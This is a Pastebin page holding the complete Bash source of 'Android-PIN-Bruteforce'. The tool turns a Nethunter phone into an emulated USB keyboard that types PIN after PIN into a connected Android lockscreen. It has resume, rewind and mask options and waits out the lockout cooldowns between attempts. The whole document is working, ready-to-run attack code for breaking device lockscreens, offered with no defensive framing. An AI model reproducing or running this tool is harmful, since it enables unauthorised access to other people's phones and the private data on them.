Advertisement
FlyFar

android-pin-bruteforce

Jul 29th, 2023
1,297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 11.92 KB | Cybersecurity | 0 0
  1. #!/bin/bash
  2. # Android-PIN-Bruteforce
  3. # Unlock an Android phone (or device) by bruteforcing the lockscreen PIN.
  4. # Turn your Kali Nethunter phone into a bruteforce PIN cracker for Android devices!
  5. # This uses the USB OTG cable to emulate a keyboard, automatically try PINs, and wait after trying too many wrong guesses.
  6. # https://github.com/utsanjan/Android-Pin-Bruteforce/
  7. #
  8. # Load Default Configuration
  9. source config.default
  10. # Load Configuration
  11. source config
  12.  
  13.  
  14. VERSION=0.1
  15.  
  16. # Operating System Environment
  17. KEYBOARD_DEVICE=/dev/hidg0
  18. HID_KEYBOARD=/system/xbin/hid-keyboard
  19. USB_DEVICES=/usr/bin/usb-devices
  20.  
  21. DIRECTION=1 # go forwards
  22. #RET=0
  23.  
  24. LIGHT_GREEN="\033[92m"
  25. LIGHT_YELLOW="\033[93m"
  26. LIGHT_RED="\033[91m"
  27. LIGHT_BLUE="\033[94m"
  28. DEFAULT="\033[39m"
  29. CLEAR_LINE="\033[1K"
  30. MOVE_CURSOR_LEFT="\033[80D"
  31.  
  32. function usage() {
  33.   echo -e "
  34. Android-PIN-Bruteforce is used to unlock an Android phone (or device) by bruteforcing the lockscreen PIN.
  35.  
  36.  Find more information at: https://github.com/utsanjan/Android-Pin-Bruteforce/
  37.  
  38. Commands:
  39.  crack\t\t\tBegin cracking PINs
  40.  resume\t\tResume from a chosen PIN
  41.  rewind\t\tCrack PINs in reverse from a chosen PIN
  42.  diag\t\t\tDisplay diagnostic information
  43.  
  44. Options:
  45.  -f, --from PIN\tResume from this PIN
  46.  -m, --mask REGEX\tUse a mask for known digits in the PIN
  47.  -t, --type TYPE\tSelect PIN or PATTERN cracking
  48.  -l, --length NUM\tCrack PINs of NUM length
  49.  -d, --dry-run\t\tDry run for testing. Doesn't send any keys.
  50.  -v, --verbose\t\tOutput verbose logs.
  51.  
  52. Usage:
  53.  android-pin-bruteforce <command> [options]
  54.  
  55. "
  56.  
  57. }
  58.  
  59.  
  60. function load_pinlist() {
  61.   length=$1
  62.  
  63.   top_number=$((10**$length-1))
  64.  
  65.   # Only load from file if it's 4 digits
  66.   if [ $length -eq 4 ]; then
  67.     pinlist=(`cat $PIN_LIST`)
  68.   else
  69.     # generate the list
  70.     pinlist=(`seq -w 0 $top_number`)
  71.   fi
  72.  
  73.   if [ -n "$MASK" ]; then
  74.     pinlist=(`echo "${pinlist[@]}" | tr ' ' '\n' | egrep "$MASK" | tr '\n' ' '`)
  75.   fi
  76.  
  77.   # validate mask returned PINs
  78.   if [ ${#pinlist[@]} -eq 0 ]; then
  79.     log_fail "MASK $MASK created an invalid PIN list with zero PINs"
  80.     abort
  81.   fi
  82.  
  83.   resume_from_index=0
  84.   if [ -n "$RESUME_FROM_PIN" ]; then
  85.  #   log_debug "Looking for $RESUME_FROM_PIN in pinlist"
  86.     for i in "${!pinlist[@]}"; do
  87.        if [[ "${pinlist[$i]}" = "${RESUME_FROM_PIN}" ]]; then
  88.   #         log_debug  "Found ${RESUME_FROM_PIN} at element ${i}"
  89.           resume_from_index=$i
  90.        fi
  91.     done
  92.   fi
  93. }
  94.  
  95.  
  96. function repeat(){
  97.   printf "%0.s$1" $(eval echo {1..$2})
  98. }
  99.  
  100.  
  101. # progress bar
  102. # https://unix.stackexchange.com/questions/415421/linux-how-to-create-simple-progress-bar-in-bash
  103. function prog() {
  104.     tput cup 0 0
  105.     local w=80 p=$1
  106.     shift
  107.     # create a string of spaces, then change them to dots
  108.     printf -v dots "%*s" "$(( $p*$w/100 ))" ""
  109.     dots=${dots// /x}
  110.     # print those dots on a fixed-width space plus the percentage etc.
  111.     printf "\r\e[K|%-*s| %3d %% %s" "$w" "$dots" "$p" "$*"
  112. }
  113.  
  114.  
  115. function diagnostic_info() {
  116.   log_info "Diagnostic info"
  117.  
  118.   if [ -e $KEYBOARD_DEVICE ]; then
  119.     log_pass "HID device ($KEYBOARD_DEVICE) found"
  120.     ls -l $KEYBOARD_DEVICE
  121.   else
  122.     log_fail "HID device ($KEYBOARD_DEVICE) not found"
  123.   fi
  124.  
  125.   if [ -f $HID_KEYBOARD ]; then
  126.     log_pass "hid-keyboard executable ($HID_KEYBOARD) found"
  127.     ls -l $HID_KEYBOARD
  128.   else
  129.     log_fail "hid-keyboard executable ($HID_KEYBOARD) not found"  
  130.   fi
  131.  
  132.   if [ -f $USB_DEVICES ]; then
  133.     log_pass "usb-devices executable ($USB_DEVICES) found"
  134.     ls -l $USB_DEVICES
  135.   else
  136.     log_fail "usb-devices executable ($USB_DEVICES) not found"  
  137.   fi
  138.  
  139.   log_info "Executing Command: $USB_DEVICES"
  140.   $USB_DEVICES
  141.   RET=$?
  142.   if [ $RET -eq 0 ]; then
  143.     log_pass "usb-devices script executed succeessfully."
  144.   else
  145.     log_fail "usb-devices script failed. Return code $RET."
  146.   fi
  147.  
  148.   log_info "Finding Android Phone USB Device"
  149.   devices=$($USB_DEVICES | egrep -C 5 "Manufacturer=[^L][^i][^n][^u][^x]" \
  150.  | egrep "Vendor|Manufacturer|Product|SerialNumber" | cut -c 5- )
  151.  
  152.   if [ -n "$devices" ]; then
  153.     log_pass "Device identified: $devices"
  154.   else
  155.     log_fail "Device not found"
  156.   fi
  157.  
  158.   log_info "Sending Enter Key"
  159.   echo enter | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard
  160.   RET=$?
  161.  
  162.   if [ $RET -eq 0 ]; then
  163.     log_pass "Key was sent succeessfully."
  164.   else
  165.     log_fail "Key failed to send. Return code $RET."
  166.   fi
  167.  
  168.   log_info "Executing Command: /system/bin/getprop |grep usb"
  169.   /system/bin/getprop |grep usb
  170.   RET=$?
  171.   echo  
  172.  
  173.   log_info "Executing Command: dmesg | grep -i usb | tail"
  174.   dmesg | grep -i usb | tail
  175.   echo  
  176.  
  177.   log_info "Troubleshooting tips"
  178.   echo "- Nethunter HID support can be a PITA."
  179.   echo "- Try powering off the phone and taking out the battery"
  180.   echo "- Try /system/bin/setprop sys.usb.config hid"
  181.   echo "- Try it on your PC or laptop"
  182.   echo
  183.   exit
  184. }
  185.  
  186. function discover_device() {
  187.  if [ $DRY_RUN -eq 0 ]; then
  188.     # accepts any USB device manufacturer except Linux
  189.     devices=$(usb-devices | egrep -C 5 "Manufacturer=[^L][^i][^n][^u][^x]" \
  190.  | egrep "Vendor|Manufacturer|Product|SerialNumber" | cut -c 5- )
  191.  else
  192.     devices="Manufacturer: Dry-run Dummy Android Device"
  193.  fi
  194.  
  195.  if [ -n "$devices" ]; then
  196.    log_pass "Device identified: $devices"
  197.  fi
  198. }
  199.  
  200. # Show configuration
  201. function show_configuration() {
  202.   log_conf "PIN list: $PIN_LIST"
  203.   log_conf "Delay between keystrokes: $DELAY_BETWEEN_KEYS"
  204.   log_conf "HID Keyboard device: $KEYBOARD_DEVICE"
  205.   log_conf "Log file: $LOG"
  206.   log_conf "Mask: $MASK"
  207.   log_conf "Resume from: $RESUME_FROM_PIN"
  208.   log_conf "PIN Type (PIN or Pattern): $PIN_TYPE"
  209.   log_conf "PIN Length: $PIN_LENGTH"
  210.  
  211. }
  212.  
  213. function abort() {
  214.   if [ $DRY_RUN -eq 0 ]; then
  215.     exit 1
  216.   else
  217.     # continue
  218.     echo Dry Run Continues
  219.   fi
  220. }
  221.  
  222. function send_enter() {
  223.   send_key enter
  224. }
  225.  
  226. function send_esc() {
  227.   send_key esc
  228. }
  229.  
  230. function send_key(){
  231.  
  232.   if [ $DRY_RUN -eq 0 ]; then
  233.     echo $1 | $HID_KEYBOARD $KEYBOARD_DEVICE keyboard 2>/dev/null
  234.     RET=$?
  235.     sleep $DELAY_BETWEEN_KEYS
  236.   else
  237.     RET=0 # as if it succeeded
  238.     sleep $DELAY_BETWEEN_KEYS
  239.   fi
  240. }
  241.  
  242.  
  243. function log_info(){
  244.   echo -e "[${LIGHT_BLUE}INFO${DEFAULT}] $1" | tee -a $LOG
  245. }
  246.  
  247. function log_pass(){
  248.   echo -e "[${LIGHT_GREEN}PASS${DEFAULT}] $1" | tee -a $LOG
  249. }
  250.  
  251. function log_fail(){
  252.   echo -e "[${LIGHT_RED}FAIL${DEFAULT}] $1" | tee -a $LOG
  253. }
  254.  
  255. function log_conf(){
  256.   echo -e "[${LIGHT_YELLOW}CONF${DEFAULT}] $1" | tee -a $LOG
  257. }
  258.  
  259.  
  260. function log_debug(){
  261.   if [ $VERBOSE -gt 0 ]; then
  262.     echo -e "[${LIGHT_YELLOW}DEBUG${DEFAULT}] $1" | tee -a $LOG
  263.   fi
  264. }
  265.  
  266.  
  267. function monitor_phone_connection(){
  268.   # check connection to phone
  269.   # RET is set by the send_key/send_enter function
  270.   fail_counter=0
  271.   while [ $RET != 0 ]; do
  272.     log_fail "HID USB device not ready. $HID_KEYBOARD returned $RET."
  273.     sleep 2
  274.     send_enter
  275.     ((fail_counter++))
  276.  
  277.     if [[ $fail_counter -gt $EXIT_AFTER_FAIL_COUNT ]]; then
  278.       log_fail "Exiting after $EXIT_AFTER_FAIL_COUNT successive failures."
  279.       abort
  280.     fi
  281.   done
  282. }
  283.  
  284.  
  285. function check_environment(){
  286.   if [ -e $KEYBOARD_DEVICE ]; then
  287.     log_pass "HID device ($KEYBOARD_DEVICE) found"
  288.   else
  289.     log_fail "HID device ($KEYBOARD_DEVICE) not found"
  290.     abort
  291.   fi
  292.  
  293.   if [ -f $HID_KEYBOARD ]; then
  294.     log_pass "hid-keyboard executable ($HID_KEYBOARD) found"
  295.   else
  296.     log_fail "hid-keyboard executable ($HID_KEYBOARD) not found"
  297.     abort  
  298.   fi
  299.  
  300.   if [ -f $USB_DEVICES ]; then
  301.     log_pass "usb-devices executable ($USB_DEVICES) found"
  302.   else
  303.     log_fail "usb-devices executable ($USB_DEVICES) not found"
  304.     abort  
  305.   fi
  306. }
  307.  
  308.  
  309.  
  310. # Commandline option handling inspired by ./configure
  311.  
  312. ac_prev=
  313. for ac_option
  314. do
  315.   # If the previous option needs an argument, assign it.
  316.   if test -n "$ac_prev"; then
  317.     eval "$ac_prev=\$ac_option"
  318.     ac_prev=
  319.     continue
  320.   fi
  321.  
  322.   case "$ac_option" in
  323.   -*=*) ac_optarg=`echo "$ac_option" | sed 's/[-_a-zA-Z0-9]*=//'` ;;
  324.   *) ac_optarg= ;;
  325.   esac
  326.  
  327.   case "$ac_option" in
  328.  
  329.   -from | -f | --from)
  330.     ac_prev=from ;;
  331.  
  332.   -from=* | -f=* | --from=*)
  333.     from="$ac_optarg" ;;
  334.  
  335.   -length=* | -l=* | --length=*)
  336.     length="$ac_optarg" ;;
  337.  
  338.   -length | -l | --length)
  339.     ac_prev=length ;;
  340.  
  341.   -mask | -m | --mask)
  342.     ac_prev=mask ;;
  343.  
  344.   -mask=* | -m=* | --mask=*)
  345.     mask="$ac_optarg" ;;
  346.  
  347.   -type=* | -t=* | --type=*)
  348.     type="$ac_optarg" ;;
  349.  
  350.   -type | -t | --type)
  351.     ac_prev=type ;;
  352.  
  353.   -verbose | -v | --verbose)
  354.     VERBOSE=1 ;;
  355.  
  356.   -help | -h | --help)
  357.     usage
  358.     exit 1 ;;
  359.  
  360.   -dryrun | -d | --dryrun | -dry-run | --dry-run )
  361.     DRY_RUN=1 ;;
  362.  
  363.   diag*)
  364.     diagnostic_info
  365.     exit ;;
  366.  
  367.   crack)
  368.     ACTION=crack ;;
  369.  
  370.   resume)
  371.     ACTION=resume ;;
  372.  
  373.   rewind)
  374.     ACTION=rewind
  375.     DIRECTION=-1 ;;
  376.  
  377.   -*) { echo "Error: $ac_option: invalid option; use --help to show usage" 1>&2; exit 1; }
  378.     ;;
  379.  
  380.   *)
  381.     if test "x$nonopt" != xNONE; then
  382.       { echo "Error: invalid options" 1>&2; exit 1; }
  383.     fi
  384.     nonopt="$ac_option"
  385.     ;;
  386.  
  387.   esac
  388. done
  389.  
  390. if test -n "$ac_prev"; then
  391.   { echo "configure: error: missing argument to --`echo $ac_prev | sed 's/_/-/g'`" 1>&2; exit 1; }
  392. fi
  393.  
  394. # only set VARS if specified in commandline arguments
  395. if [[ -n "$mask" ]]; then
  396.   MASK=$mask
  397. fi
  398. if [[ -n "$from" ]]; then
  399.   RESUME_FROM_PIN=$from
  400. fi
  401. if [[ -n "$type" ]]; then
  402.   PIN_TYPE=$type
  403. fi
  404. if [[ -n "$length" ]]; then
  405.   PIN_LENGTH=$length
  406. fi
  407.  
  408. # Validation
  409.  
  410. # Validate PIN TYPE
  411. case "$PIN_TYPE" in
  412.   pattern | PATTERN )
  413.     log_fail "Pattern cracking is not yet implemented."
  414.     abort ;;
  415.   pin | PIN )
  416.     ;;
  417.   *)
  418.     log_fail "Type $PIN_TYPE cracking is not available."
  419.     abort ;;
  420. esac
  421.  
  422. # Validate PIN LENGTH
  423. if [[ "$PIN_LENGTH" > 0 ]] && [[ "$PIN_LENGTH" < 9 ]]; then
  424.   # nothing
  425.   echo -n
  426. else
  427.   log_fail "PIN length is invalid. Valid lengths are 1 to 9."
  428. fi
  429.  
  430. # rewind, resume require that RESUME_FROM_PIN be set
  431. if [[ "$ACTION" = "resume" ]] || [[ "$ACTION" = "rewind" ]] && [[ -z "$RESUME_FROM_PIN" ]]; then
  432.   log_fail "$ACTION requires that --from be set"
  433.   exit 1
  434. fi
  435.  
  436. if [ -z "$1" ]; then
  437.   usage
  438.   exit 1
  439. fi
  440.  
  441.  
  442. echo "Android PIN brute-force :: version $VERSION" | tee -a $LOG
  443.  
  444. if [[ $DRY_RUN -eq 1 ]]; then
  445.   log_info "Dry run enabled"
  446. fi
  447.  
  448. if [[ $VERBOSE > 0 ]]; then
  449.   log_info "Current Configuration"
  450.   show_configuration
  451. fi
  452.  
  453. # Check Environment
  454. log_info "Checking environment"
  455. check_environment
  456.  
  457. # Find Android phone over USB cable
  458. log_info "Identifying Android Phone"
  459. discover_device
  460.  
  461. send_enter
  462. sleep 1
  463. send_enter
  464. sleep 1
  465.  
  466.  
  467.  
  468. load_pinlist $PIN_LENGTH
  469. position=$resume_from_index
  470. pinlist_n_elements=${#pinlist[@]}
  471.  
  472. for (( position=$resume_from_index ; position>=0 && position <= pinlist_n_elements; position=position+DIRECTION ))
  473. do
  474.   ((count++))
  475.   pin=${pinlist[position]}
  476.  
  477.   # hit escape and enter before every PIN attempted
  478.   send_esc
  479.   send_enter
  480.  
  481.   # if we got an error from sending the key, check the phone connection
  482.   if [ $RET -gt 0 ]; then
  483.     monitor_phone_connection
  484.   fi
  485.  
  486.   percent_complete=$((100*$position/$pinlist_n_elements))
  487.   echo "[SEND] $pin. Attempt $count ($percent_complete%) at $(date +"%b%d %r")" | tee -a "$LOG"
  488. #  prog $percent_complete
  489.  
  490.   for i in `echo "$pin" | grep -o .`; do
  491.     send_key $i
  492.   done
  493.   send_enter
  494.  
  495.   # COOLDOWN_TIME is optional
  496.   if [[ $COOLDOWN_TIME > 0 && $COOLDOWN_AFTER_N_ATTEMPTS > 0 ]]; then
  497.     # if we are after N attempts
  498.     if [ $((count % $COOLDOWN_AFTER_N_ATTEMPTS)) = 0 ]; then
  499.       # countdown COOLDOWN_TIME seconds
  500.       for (( countdown=$COOLDOWN_TIME; countdown > 0; countdown-- ))
  501.       do
  502.         echo -ne "$CLEAR_LINE$MOVE_CURSOR_LEFT" # clear line and move cursor left
  503.         echo -ne "[${LIGHT_YELLOW}WAIT${DEFAULT}] "
  504.         echo -ne "$countdown"
  505.         if [ $(($countdown%5)) = 0 ]; then
  506.           send_enter
  507.         fi
  508.         sleep 1
  509.       done
  510.       echo -ne "$CLEAR_LINE$MOVE_CURSOR_LEFT"
  511.     fi
  512.   fi
  513. done
  514.  
  515. log_info "End of PIN list reached"
  516.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement